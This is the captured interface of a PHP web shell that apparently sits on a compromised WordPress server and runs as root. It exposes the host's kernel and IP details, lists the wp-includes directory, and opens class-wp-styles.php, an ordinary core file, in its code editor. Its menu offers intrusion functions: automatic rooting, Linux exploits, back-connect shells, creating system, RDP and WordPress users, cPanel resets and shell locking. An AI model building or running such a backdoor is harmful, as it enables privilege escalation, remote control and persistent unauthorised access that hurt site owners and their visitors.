Linux 4e23370b81f1 5.14.0-687.5.3.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 14:53:22 EDT 2026 x86_64
: 127.0.0.1 | : 216.73.217.70
Cant Read [ /etc/named.conf ]
8.3.31
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
dom1153719 /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
abilities-api
[ DIR ]
drwxr-xr-x
ai-client
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-bindings
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
build
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
collaboration
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
html-api
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
interactivity-api
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
l10n
[ DIR ]
drwxr-xr-x
php-ai-client
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sitemaps
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
style-engine
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
abilities-api.php
23.8
KB
-rw-r--r--
abilities.php
7.82
KB
-rw-r--r--
admin-bar.php
38.39
KB
-rw-r--r--
ai-client.php
2.49
KB
-rw-r--r--
atomlib.php
11.9
KB
-rw-r--r--
author-template.php
19.38
KB
-rw-r--r--
block-bindings.php
7.35
KB
-rw-r--r--
block-editor.php
28.05
KB
-rw-r--r--
block-i18n.json
316
B
-rw-r--r--
block-patterns.php
15.24
KB
-rw-r--r--
block-template-utils.php
61.33
KB
-rw-r--r--
block-template.php
17.83
KB
-rw-r--r--
blocks.php
116.64
KB
-rw-r--r--
bookmark-template.php
12.47
KB
-rw-r--r--
bookmark.php
15.07
KB
-rw-r--r--
cache-compat.php
10.76
KB
-rw-r--r--
cache.php
13.17
KB
-rw-r--r--
canonical.php
33.83
KB
-rw-r--r--
capabilities.php
42.61
KB
-rw-r--r--
category-template.php
55.65
KB
-rw-r--r--
category.php
12.53
KB
-rw-r--r--
class-IXR.php
2.55
KB
-rw-r--r--
class-avif-info.php
29.3
KB
-rw-r--r--
class-feed.php
539
B
-rw-r--r--
class-http.php
367
B
-rw-r--r--
class-json.php
42.65
KB
-rw-r--r--
class-oembed.php
401
B
-rw-r--r--
class-phpass.php
6.61
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-pop3.php
20.63
KB
-rw-r--r--
class-requests.php
2.18
KB
-rw-r--r--
class-simplepie.php
453
B
-rw-r--r--
class-smtp.php
457
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown...
2.41
KB
-rw-r--r--
class-walker-category.php
8.28
KB
-rw-r--r--
class-walker-comment.php
13.89
KB
-rw-r--r--
class-walker-nav-menu.php
11.76
KB
-rw-r--r--
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
class-walker-page.php
7.43
KB
-rw-r--r--
class-wp-admin-bar.php
17.58
KB
-rw-r--r--
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
class-wp-application-passwords...
16.7
KB
-rw-r--r--
class-wp-block-bindings-regist...
8.07
KB
-rw-r--r--
class-wp-block-bindings-source...
2.92
KB
-rw-r--r--
class-wp-block-editor-context....
1.32
KB
-rw-r--r--
class-wp-block-list.php
4.6
KB
-rw-r--r--
class-wp-block-metadata-regist...
11.57
KB
-rw-r--r--
class-wp-block-parser-block.ph...
2.5
KB
-rw-r--r--
class-wp-block-parser-frame.ph...
1.95
KB
-rw-r--r--
class-wp-block-parser.php
11.25
KB
-rw-r--r--
class-wp-block-pattern-categor...
4.28
KB
-rw-r--r--
class-wp-block-patterns-regist...
10.07
KB
-rw-r--r--
class-wp-block-processor.php
68.32
KB
-rw-r--r--
class-wp-block-styles-registry...
6.27
KB
-rw-r--r--
class-wp-block-supports.php
6.4
KB
-rw-r--r--
class-wp-block-template.php
1.99
KB
-rw-r--r--
class-wp-block-templates-regis...
6.91
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.91
KB
-rw-r--r--
class-wp-block-type.php
16.83
KB
-rw-r--r--
class-wp-block.php
24.14
KB
-rw-r--r--
class-wp-classic-to-block-menu...
3.93
KB
-rw-r--r--
class-wp-comment-query.php
47.49
KB
-rw-r--r--
class-wp-comment.php
9.15
KB
-rw-r--r--
class-wp-connector-registry.ph...
14.07
KB
-rw-r--r--
class-wp-customize-control.php
25.51
KB
-rw-r--r--
class-wp-customize-manager.php
198.13
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
56.61
KB
-rw-r--r--
class-wp-customize-panel.php
10.46
KB
-rw-r--r--
class-wp-customize-section.php
10.95
KB
-rw-r--r--
class-wp-customize-setting.php
29.26
KB
-rw-r--r--
class-wp-customize-widgets.php
70.89
KB
-rw-r--r--
class-wp-date-query.php
35.13
KB
-rw-r--r--
class-wp-dependencies.php
16.69
KB
-rw-r--r--
class-wp-dependency.php
2.59
KB
-rw-r--r--
class-wp-duotone.php
39.95
KB
-rw-r--r--
class-wp-editor.php
70.54
KB
-rw-r--r--
class-wp-embed.php
15.54
KB
-rw-r--r--
class-wp-error.php
7.33
KB
-rw-r--r--
class-wp-exception.php
253
B
-rw-r--r--
class-wp-fatal-error-handler.p...
7.96
KB
-rw-r--r--
class-wp-feed-cache-transient....
3.23
KB
-rw-r--r--
class-wp-feed-cache.php
969
B
-rw-r--r--
class-wp-hook.php
16.25
KB
-rw-r--r--
class-wp-http-cookie.php
7.1
KB
-rw-r--r--
class-wp-http-curl.php
12.95
KB
-rw-r--r--
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.43
KB
-rw-r--r--
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.97
KB
-rw-r--r--
class-wp-http-requests-respons...
4.14
KB
-rw-r--r--
class-wp-http-response.php
2.91
KB
-rw-r--r--
class-wp-http-streams.php
16.37
KB
-rw-r--r--
class-wp-http.php
40.67
KB
-rw-r--r--
class-wp-icons-registry.php
7.67
KB
-rw-r--r--
class-wp-image-editor-gd.php
20.22
KB
-rw-r--r--
class-wp-image-editor-imagick....
36.11
KB
-rw-r--r--
class-wp-image-editor.php
17.01
KB
-rw-r--r--
class-wp-list-util.php
7.27
KB
-rw-r--r--
class-wp-locale-switcher.php
6.62
KB
-rw-r--r--
class-wp-locale.php
16.45
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
class-wp-meta-query.php
29.79
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
6.67
KB
-rw-r--r--
class-wp-navigation-fallback.p...
8.98
KB
-rw-r--r--
class-wp-network-query.php
19.25
KB
-rw-r--r--
class-wp-network.php
12.01
KB
-rw-r--r--
class-wp-object-cache.php
17.11
KB
-rw-r--r--
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
class-wp-oembed.php
30.86
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.95
KB
-rw-r--r--
class-wp-phpmailer.php
4.25
KB
-rw-r--r--
class-wp-plugin-dependencies.p...
24.59
KB
-rw-r--r--
class-wp-post-type.php
29.95
KB
-rw-r--r--
class-wp-post.php
6.4
KB
-rw-r--r--
class-wp-query.php
159.6
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.72
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
10.9
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.8
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.44
KB
-rw-r--r--
class-wp-recovery-mode.php
11.18
KB
-rw-r--r--
class-wp-rewrite.php
62.2
KB
-rw-r--r--
class-wp-role.php
2.46
KB
-rw-r--r--
class-wp-roles.php
9.1
KB
-rw-r--r--
class-wp-script-modules.php
39.65
KB
-rw-r--r--
class-wp-scripts.php
35.93
KB
-rw-r--r--
class-wp-session-tokens.php
7.15
KB
-rw-r--r--
class-wp-simplepie-file.php
3.47
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.87
KB
-rw-r--r--
class-wp-site-query.php
30.74
KB
-rw-r--r--
class-wp-site.php
7.28
KB
-rw-r--r--
class-wp-speculation-rules.php
7.38
KB
-rw-r--r--
class-wp-styles.php
13.04
KB
-rw-r--r--
class-wp-tax-query.php
19.12
KB
-rw-r--r--
class-wp-taxonomy.php
18.12
KB
-rw-r--r--
class-wp-term-query.php
39.8
KB
-rw-r--r--
class-wp-term.php
5.14
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
979
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
18.49
KB
-rw-r--r--
class-wp-textdomain-registry.p...
10.24
KB
-rw-r--r--
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
class-wp-theme-json-resolver.p...
34.86
KB
-rw-r--r--
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
class-wp-theme-json.php
169.57
KB
-rw-r--r--
class-wp-theme.php
64.22
KB
-rw-r--r--
class-wp-token-map.php
27.95
KB
-rw-r--r--
class-wp-url-pattern-prefixer....
4.69
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.88
KB
-rw-r--r--
class-wp-user-query.php
43.07
KB
-rw-r--r--
class-wp-user-request.php
2.25
KB
-rw-r--r--
class-wp-user.php
22.48
KB
-rw-r--r--
class-wp-walker.php
13.01
KB
-rw-r--r--
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
class-wp-widget.php
17.99
KB
-rw-r--r--
class-wp-xmlrpc-server.php
209.98
KB
-rw-r--r--
class-wp.php
25.75
KB
-rw-r--r--
class-wpdb.php
115.86
KB
-rw-r--r--
class.wp-dependencies.php
373
B
-rw-r--r--
class.wp-scripts.php
343
B
-rw-r--r--
class.wp-styles.php
338
B
-rw-r--r--
collaboration.php
2.11
KB
-rw-r--r--
comment-template.php
100.79
KB
-rw-r--r--
comment.php
130.94
KB
-rw-r--r--
compat-utf8.php
19.1
KB
-rw-r--r--
compat.php
15.69
KB
-rw-r--r--
connectors.php
23.52
KB
-rw-r--r--
cron.php
43.94
KB
-rw-r--r--
date.php
400
B
-rw-r--r--
default-constants.php
11.1
KB
-rw-r--r--
default-filters.php
36.54
KB
-rw-r--r--
default-widgets.php
2.24
KB
-rw-r--r--
deprecated.php
189.43
KB
-rw-r--r--
embed-template.php
338
B
-rw-r--r--
embed.php
37.99
KB
-rw-r--r--
error-protection.php
4
KB
-rw-r--r--
feed-atom-comments.php
5.38
KB
-rw-r--r--
feed-atom.php
3.05
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
4.04
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
24.6
KB
-rw-r--r--
fonts.php
9.56
KB
-rw-r--r--
formatting.php
346.38
KB
-rw-r--r--
functions.php
283.52
KB
-rw-r--r--
functions.wp-scripts.php
20.01
KB
-rw-r--r--
functions.wp-styles.php
8.45
KB
-rw-r--r--
general-template.php
170.83
KB
-rw-r--r--
global-styles-and-settings.php
20.29
KB
-rw-r--r--
http.php
26.62
KB
-rw-r--r--
https-detection.php
5.72
KB
-rw-r--r--
https-migration.php
4.63
KB
-rw-r--r--
kses.php
80.64
KB
-rw-r--r--
l10n.php
69.74
KB
-rw-r--r--
link-template.php
156.39
KB
-rw-r--r--
load.php
55.15
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
61.79
KB
-rw-r--r--
media.php
218.55
KB
-rw-r--r--
meta.php
65.26
KB
-rw-r--r--
ms-blogs.php
25.71
KB
-rw-r--r--
ms-default-constants.php
4.81
KB
-rw-r--r--
ms-default-filters.php
6.48
KB
-rw-r--r--
ms-deprecated.php
21.24
KB
-rw-r--r--
ms-files.php
2.79
KB
-rw-r--r--
ms-functions.php
89.69
KB
-rw-r--r--
ms-load.php
19.57
KB
-rw-r--r--
ms-network.php
3.69
KB
-rw-r--r--
ms-settings.php
4.11
KB
-rw-r--r--
ms-site.php
40.75
KB
-rw-r--r--
nav-menu-template.php
25.38
KB
-rw-r--r--
nav-menu.php
43.23
KB
-rw-r--r--
option.php
102.62
KB
-rw-r--r--
pluggable-deprecated.php
6.18
KB
-rw-r--r--
pluggable.php
124.57
KB
-rw-r--r--
plugin.php
35.65
KB
-rw-r--r--
post-formats.php
6.9
KB
-rw-r--r--
post-template.php
67.01
KB
-rw-r--r--
post-thumbnail-template.php
10.62
KB
-rw-r--r--
post.php
289.79
KB
-rw-r--r--
post.php.orig
289.58
KB
-rw-r--r--
query.php
36.23
KB
-rw-r--r--
registration-functions.php
200
B
-rw-r--r--
registration.php
200
B
-rw-r--r--
rest-api.php
98.52
KB
-rw-r--r--
revision.php
29.99
KB
-rw-r--r--
rewrite.php
19
KB
-rw-r--r--
robots-template.php
5.06
KB
-rw-r--r--
rss-functions.php
255
B
-rw-r--r--
rss.php
22.66
KB
-rw-r--r--
script-loader.php
159.3
KB
-rw-r--r--
script-modules.php
11.66
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
shortcodes.php
23.47
KB
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
speculative-loading.php
8.4
KB
-rw-r--r--
spl-autoload-compat.php
441
B
-rw-r--r--
style-engine.php
7.39
KB
-rw-r--r--
taxonomy.php
173.09
KB
-rw-r--r--
template-canvas.php
544
B
-rw-r--r--
template-loader.php
4.17
KB
-rw-r--r--
template.php
35.96
KB
-rw-r--r--
theme-i18n.json
1.85
KB
-rw-r--r--
theme-previews.php
2.82
KB
-rw-r--r--
theme-templates.php
3.96
KB
-rw-r--r--
theme.json
8.83
KB
-rw-r--r--
theme.php
131.48
KB
-rw-r--r--
update.php
37.38
KB
-rw-r--r--
user.php
174.63
KB
-rw-r--r--
utf8.php
7.09
KB
-rw-r--r--
vars.php
6.45
KB
-rw-r--r--
version.php
1.08
KB
-rw-r--r--
view-transitions.php
602
B
-rw-r--r--
widgets.php
69.17
KB
-rw-r--r--
wp-db.php
445
B
-rw-r--r--
wp-diff.php
799
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-styles.php
<?php /** * Dependencies API: WP_Styles class * * @since 2.6.0 * * @package WordPress * @subpackage Dependencies */ /** * Core class used to register styles. * * @since 2.6.0 * * @see WP_Dependencies */ class WP_Styles extends WP_Dependencies { /** * Base URL for styles. * * Full URL with trailing slash. * * @since 2.6.0 * @see wp_default_styles() * @var string|null */ public $base_url; /** * URL of the content directory. * * @since 2.8.0 * @see wp_default_styles() * @var string|null */ public $content_url; /** * Default version string for stylesheets. * * @since 2.6.0 * @see wp_default_styles() * @var string|null */ public $default_version; /** * The current text direction. * * @since 2.6.0 * @see wp_default_styles() * @var string */ public $text_direction = 'ltr'; /** * Holds a list of style handles which will be concatenated. * * @since 2.8.0 * @var string */ public $concat = ''; /** * Holds a string which contains style handles and their version. * * @since 2.8.0 * @deprecated 3.4.0 * @var string */ public $concat_version = ''; /** * Whether to perform concatenation. * * @since 2.8.0 * @var bool */ public $do_concat = false; /** * Holds HTML markup of styles and additional data if concatenation * is enabled. * * @since 2.8.0 * @var string */ public $print_html = ''; /** * Holds inline styles if concatenation is enabled. * * @since 3.3.0 * @var string */ public $print_code = ''; /** * List of default directories. * * @since 2.8.0 * @see wp_default_styles() * @var string[]|null */ public $default_dirs; /** * Constructor. * * @since 2.6.0 */ public function __construct() { /** * Fires when the WP_Styles instance is initialized. * * @since 2.6.0 * * @param WP_Styles $wp_styles WP_Styles instance (passed by reference). */ do_action_ref_array( 'wp_default_styles', array( &$this ) ); } /** * Processes a style dependency. * * @since 2.6.0 * @since 5.5.0 Added the `$group` parameter. * * @see WP_Dependencies::do_item() * * @param string $handle The style's registered handle. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function do_item( $handle, $group = false ) { if ( ! parent::do_item( $handle ) ) { return false; } $obj = $this->registered[ $handle ]; if ( $obj->extra['conditional'] ?? false ) { return false; } if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset( $this->args[ $handle ] ) ) { $ver = $ver ? $ver . '&' . $this->args[ $handle ] : $this->args[ $handle ]; } $src = $obj->src; $inline_style = $this->print_inline_style( $handle, false ); if ( $inline_style ) { $processor = new WP_HTML_Tag_Processor( '<style></style>' ); $processor->next_tag(); $processor->set_attribute( 'id', "{$handle}-inline-css" ); $processor->set_modifiable_text( "\n{$inline_style}\n" ); $inline_style_tag = "{$processor->get_updated_html()}\n"; } else { $inline_style_tag = ''; } if ( $this->do_concat ) { if ( is_string( $src ) && $this->in_default_dir( $src ) && ! isset( $obj->extra['alt'] ) ) { $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; $this->print_code .= $inline_style; return true; } } $media = $obj->args ?? 'all'; // A single item may alias a set of items, by having dependencies, but no source. if ( ! $src ) { if ( $inline_style_tag ) { if ( $this->do_concat ) { $this->print_html .= $inline_style_tag; } else { echo $inline_style_tag; } } return true; } $href = $this->_css_href( $src, $obj->ver, $handle ); if ( ! $href ) { return true; } $rel = isset( $obj->extra['alt'] ) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet'; $title = $obj->extra['title'] ?? ''; $tag = sprintf( "<link rel='%s' id='%s-css'%s href='%s' media='%s' />\n", $rel, esc_attr( $handle ), $title ? sprintf( " title='%s'", esc_attr( $title ) ) : '', $href, esc_attr( $media ) ); /** * Filters the HTML link tag of an enqueued style. * * @since 2.6.0 * @since 4.3.0 Introduced the `$href` parameter. * @since 4.5.0 Introduced the `$media` parameter. * * @param string $tag The link tag for the enqueued style. * @param string $handle The style's registered handle. * @param string $href The stylesheet's source URL. * @param string $media The stylesheet's media attribute. */ $tag = apply_filters( 'style_loader_tag', $tag, $handle, $href, $media ); if ( 'rtl' === $this->text_direction && isset( $obj->extra['rtl'] ) && $obj->extra['rtl'] ) { if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) { $suffix = $obj->extra['suffix'] ?? ''; $rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $src, $ver, "$handle-rtl" ) ); } else { $rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" ); } $rtl_tag = sprintf( "<link rel='%s' id='%s-rtl-css'%s href='%s' media='%s' />\n", $rel, esc_attr( $handle ), $title ? sprintf( " title='%s'", esc_attr( $title ) ) : '', $rtl_href, esc_attr( $media ) ); /** This filter is documented in wp-includes/class-wp-styles.php */ $rtl_tag = apply_filters( 'style_loader_tag', $rtl_tag, $handle, $rtl_href, $media ); if ( 'replace' === $obj->extra['rtl'] ) { $tag = $rtl_tag; } else { $tag .= $rtl_tag; } } if ( $this->do_concat ) { $this->print_html .= $tag; if ( $inline_style_tag ) { $this->print_html .= $inline_style_tag; } } else { echo $tag; $this->print_inline_style( $handle ); } return true; } /** * Adds extra CSS styles to a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param string $code String containing the CSS styles to be added. * @return bool True on success, false on failure. */ public function add_inline_style( $handle, $code ) { if ( ! $code ) { return false; } $after = $this->get_data( $handle, 'after' ); if ( ! $after ) { $after = array(); } $after[] = $code; return $this->add_data( $handle, 'after', $after ); } /** * Prints extra CSS styles of a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param bool $display Optional. Whether to print the inline style * instead of just returning it. Default true. * @return string|bool False if no data exists, inline styles if `$display` is true, * true otherwise. */ public function print_inline_style( $handle, $display = true ) { $output = $this->get_data( $handle, 'after' ); if ( empty( $output ) || ! is_array( $output ) ) { return false; } if ( ! $this->do_concat ) { // Obtain the original `src` for a stylesheet possibly inlined by wp_maybe_inline_styles(). $inlined_src = $this->get_data( $handle, 'inlined_src' ); // If there's only one `after` inline style, and that inline style had been inlined, then use the $inlined_src // as the sourceURL. Otherwise, if there is more than one inline `after` style associated with the handle, // then resort to using the handle to construct the sourceURL since there isn't a single source. if ( count( $output ) === 1 && is_string( $inlined_src ) && strlen( $inlined_src ) > 0 ) { $source_url = esc_url_raw( $inlined_src ); } else { $source_url = rawurlencode( "{$handle}-inline-css" ); } $output[] = sprintf( '/*# sourceURL=%s */', $source_url ); } $output = implode( "\n", $output ); if ( ! $display ) { return $output; } $processor = new WP_HTML_Tag_Processor( '<style></style>' ); $processor->next_tag(); $processor->set_attribute( 'id', "{$handle}-inline-css" ); $processor->set_modifiable_text( "\n{$output}\n" ); echo "{$processor->get_updated_html()}\n"; return true; } /** * Overrides the add_data method from WP_Dependencies, to allow unsetting dependencies for conditional styles. * * @since 6.9.0 * * @param string $handle Name of the item. Should be unique. * @param string $key The data key. * @param mixed $value The data value. * @return bool True on success, false on failure. */ public function add_data( $handle, $key, $value ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } if ( 'conditional' === $key ) { $this->registered[ $handle ]->deps = array(); } return parent::add_data( $handle, $key, $value ); } /** * Determines style dependencies. * * @since 2.6.0 * * @see WP_Dependencies::all_deps() * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $result = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the array of enqueued styles before processing for output. * * @since 2.6.0 * * @param string[] $to_do The list of enqueued style handles about to be processed. */ $this->to_do = apply_filters( 'print_styles_array', $this->to_do ); } return $result; } /** * Generates an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source of the enqueued style. * @param string|false|null $ver The version of the enqueued style. * @param string $handle The style's registered handle. * @return string Style's fully-qualified URL. */ public function _css_href( $src, $ver, $handle ) { if ( ! is_bool( $src ) && ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && str_starts_with( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } $ver_to_add = ''; if ( empty( $ver ) && null !== $ver && is_string( $this->default_version ) ) { $ver_to_add = $this->default_version; } elseif ( is_scalar( $ver ) ) { $ver_to_add = (string) $ver; } $added_args = (string) ( $this->args[ $handle ] ?? '' ); if ( '' !== $ver_to_add || '' !== $added_args ) { $fragment = strstr( $src, '#' ); if ( false !== $fragment ) { $src = substr( $src, 0, -strlen( $fragment ) ); } if ( '' !== $ver_to_add ) { $src .= ( str_contains( $src, '?' ) ? '&' : '?' ) . 'ver=' . rawurlencode( $ver_to_add ); } if ( '' !== $added_args ) { $src .= ( str_contains( $src, '?' ) ? '&' : '?' ) . $added_args; } if ( false !== $fragment ) { $src .= $fragment; } } /** * Filters an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source URL of the enqueued style. * @param string $handle The style's registered handle. */ $src = apply_filters( 'style_loader_src', $src, $handle ); return esc_url( $src ); } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * * @param string $src The source of the enqueued style. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) { return true; } foreach ( (array) $this->default_dirs as $test ) { if ( str_starts_with( $src, $test ) ) { return true; } } return false; } /** * Processes items and dependencies for the footer group. * * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer. * * @since 3.3.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_footer_items() { $this->do_items( false, 1 ); return $this->done; } /** * Resets class properties. * * @since 3.3.0 */ public function reset() { $this->do_concat = false; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; } /** * Gets a style-specific dependency warning message. * * @since 6.9.1 * * @param string $handle Style handle with missing dependencies. * @param string[] $missing_dependency_handles Missing dependency handles. * @return string Formatted, localized warning message. */ protected function get_dependency_warning_message( $handle, $missing_dependency_handles ) { return sprintf( /* translators: 1: Style handle, 2: List of missing dependency handles. */ __( 'The style with the handle "%1$s" was enqueued with dependencies that are not registered: %2$s.' ), $handle, implode( wp_get_list_item_separator(), $missing_dependency_handles ) ); } }
Close